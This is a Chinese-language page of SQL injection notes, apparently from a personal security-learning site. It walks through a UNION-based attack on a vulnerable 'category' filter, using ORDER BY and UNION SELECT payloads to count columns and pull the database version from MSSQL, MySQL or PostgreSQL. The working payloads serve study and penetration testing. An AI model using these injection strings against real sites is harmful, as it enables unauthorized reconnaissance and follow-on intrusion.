> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# DBMS 版本检测（MySQL、MSSQL、PostgreSQL）

### SQL 注入攻击：在 MySQL 和 Microsoft 上查询数据库类型和版本

* **上下文 / 漏洞：** `category` 过滤器易受 SQL 注入；应用程序将用户值拼接到 `WHERE` 子句中。使用 `ORDER BY` / `UNION` 可以枚举列数，然后提取版本值。
* **目标：** 显示 DBMS 发行字符串。
* **快速方法：**

1. **确定列数**：/ 有效载荷：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* （递增索引，直到触发错误，以找出确切的列数）。

2. **验证 UNION** （选择一个 `UNION SELECT` 具有相同列数的）：/ 最少示例 2 列：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **获取版本** — 使用适合该引擎的函数/变量。

**目标载荷：**

* **Microsoft SQL Server（MSSQL）** — 系统变量： `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — 函数：`version()`（或变量 `@@version`）

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — 函数：`version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> 根据存在漏洞的查询调整列数和列顺序（例如：若类型不同，可使用 UNION SELECT NULL, version()）。必要时，对类型不应匹配的列使用 NULL。

* **解读：** 页面将显示由 `@@version` / `version()` （例如 `Microsoft SQL Server 2019 (RTM) - 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `运行于 x86_64-... 上的 PostgreSQL 13.3`），从而可以识别 DBMS 指纹。
* **影响：** 信息泄露，可用于针对特定版本的漏洞利用，并增加后续攻击的风险。


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